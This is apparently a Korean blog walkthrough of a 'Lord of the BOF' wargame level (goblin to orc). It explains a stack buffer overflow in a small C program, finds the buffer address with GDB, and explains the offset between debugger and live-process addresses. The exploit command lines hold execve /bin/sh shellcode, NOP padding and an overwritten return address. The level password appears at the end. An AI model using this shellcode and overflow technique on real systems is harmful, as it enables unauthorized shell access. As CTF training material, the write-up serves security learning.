워게임(WarGame)/BOF원정대(LOF)
[LEVEL4] goblin -> orc (egghunter)
devanix
2011. 6. 2. 02:36
⊙ 문제의 소스를 보자) |
[goblin@localhost goblin]$ cat orc.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
|
+ egghunter라는 주석에서 알 수 있듯이 환경변수(environment)를 전부 0으로 초기화 합니다.
즉, (LEVEL2 && LEVEL3)처럼 환경변수를 이용 할 수 없습니다.
+ if문을 통해 argv[1][47]가 "\xbf" 가 아니면 종료한다.
그러나 [buffer(40] + [EBP(4)] + [RET(4)] 이므로 결국 RET주소에 마지막에 "\x??\x??\x??\xbf"로 끝나면 되겠네요.
+ 어차피 [LEVEL1]과 틀린 점은 버퍼가 줄었다는 것 밖에 없습니다.
해당 셸코드는 24Byte이고 44Byte의 여유 공간(buffer[40Byte] + EBP[4Byte])이 있으므로 LEVEL1과 같이
BUFFER에 셸코드(ShellCode)를 삽입하여 문제를 풀수 있겠네요.
|
1) GDB로 RET 주소를 구해보자. |
① 먼저 권한이 없으므로 해당 사본을 만듭니다.
# cp orc cro
② 디버깅을 위해 argv[1][47]이 "\xbf"가 통과 되도록 테스트 문을 만듭니다.
(공격문과 테스트문의 길이가 같아야 같은 주소를 얻을 수 있습니다)
[ Buffer(40Byte) ] + [ EBP(4Byte) ] |
[ RET (4Byte) ] |
[ "DDDDDDDDDDDDD................" ] |
["\xbf\xbf\xbf\xbf"] |
$(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"') |
③ 그럼 이제 GDB로 해당 RET을 덮을 buffer의 주소를 찾도록 합니다.
[goblin@localhost goblin]$ gdb -q cro |
(gdb) disassemble main
Dump of assembler code for function main:
...[중략]...
0x80485b0 <main+176>: mov 0xc(%ebp),%eax
0x80485b3 <main+179>: add $0x4,%eax
0x80485b6 <main+182>: mov (%eax),%edx
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add $0x8,%esp
0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push $0x8048659
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add $0x8,%esp
0x80485d6 <main+214>: leave |
* break point는 buffer가 복사되는 지점인 <strcpy>이후(<main+197>)로 합니다.
(gdb) break *main+197
Breakpoint 1 at 0x80485c5 |
* 이제 ② 에서 만들었던 테스트 문을 이용해 실행 합니다.
(gdb) run $(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')
Starting program: /home/goblin/cro $(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')
Breakpoint 1, 0x80485c5 in main () |
* 현재 스택 내용물을 보도록 하겠습니다.
(gdb) x/20xw $esp
0xbffffacc: 0x00000015 0x44444444 0x44444444 0x44444444
0xbffffadc: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffaec: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffafc: 0xbfbfbfbf 0x00000000 0xbffffb44 0xbffffb50
0xbffffb0c: 0x40013868 0x00000002 0x08048450 0x00000000
(gdb) info reg ebp
ebp 0xbffffaf8 -1073743112 |
+ [EBP]0xbffffaf8에 -> 0xbfbfbfbf 가 들어있는 것을 볼 수 있습니다.
+ BUFFER 의 주소는 EBP-40이 됨으로 [ 0xbffffad0 ] (0x44444444가 시작 되는 곳)가 됩니다. |
|
*이제 RET주소를 덮어쓸 buffer의 주소값( 0xbffffad0 )이 구해졌으니 공격 문으로 바꿔보도록 합시다.
2) 공격문 작성. |
① 테스트 문을 공격 문으로 바꾸자!
|
[ Buffer(40Byte) ] + [ EBP(4Byte) ] = 44Byte |
[ RET (4Byte) ] |
변경전 |
[ "DDDDDDDDDDDDD................" ] |
[ "\xbf\xbf\xbf\xbf" ] |
변경후 |
[ 셸코드(24Byte) ] + [ NOP*20 ] |
[ "\xd0\xfa\xff\xbf" ] |
$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xd0\xfa\xff\xbf"') |
② 이제 바뀐 공격 문으로 확인해 보자!.
허... 어찌된 일일까요..
GDB로 RET 주소(0xbffffad0)를 두 눈으로 확인했는데 Segmentation fault가 뜨네요. |
* 검색결과를 인용하자면 GDB로 디버깅 하면 어딘가에 한번 복사되어 분석이 들어가기 때문에
동적으로 움직이고 있는 실제 프로세스의 주소와 GDB로 디버깅 했을 때엔 차이가 난다고 합니다.
|
[여기서 잠깐] 실행 프로세스의 주소와 vs GDB 주소 값의 차이! |
① orc.c의 사본을 만들어 간단한 테스트를 해봅시다.
# cp orc.c cro.c
# vi cro.c |
main(int argc, char *argv[]) {
...[중략]...
strcpy(buffer, argv[1]);
printf("[ %#x ]\n", buffer); // <---- 추가 (해당 위치의 buffer 주소값 확인.)
printf("%s\n", buffer);
} |
:wq (저장후 종료) |
② 해당 printf("[ %#x ]\n", buffer); 라인을 추가 후 컴파일 하고 다시 공격 문으로 확인해 봅시다.
# gcc cro.c -o cro |
실행해 보면 [ 0xbffffae0 ]이란 주소가 보입니다. |
③ 확인한(0xbffffae0) 리턴 주소만 다시 바꿔 확인해 보죠..
./cro $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')
네.. 이제 제대로 공격이 되었네요.
*하지만 사본(cro)이니 이따 다시 원본(cro) 바이너리 파일로 공격해 봅시다. |
④ 결과.
프로세스 구동 중 확인한 buffer 주소 : |
[ 0xbffffae0 ] |
GDB로 확인한 buffer 주소 : |
[ 0xbffffad0 ] |
두 주소값의 차이 |
[ +-16 ] |
|
3) 원본(orc) 공격 확인. |
./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"') |
성공!!!
|
goblin : "hackers proof"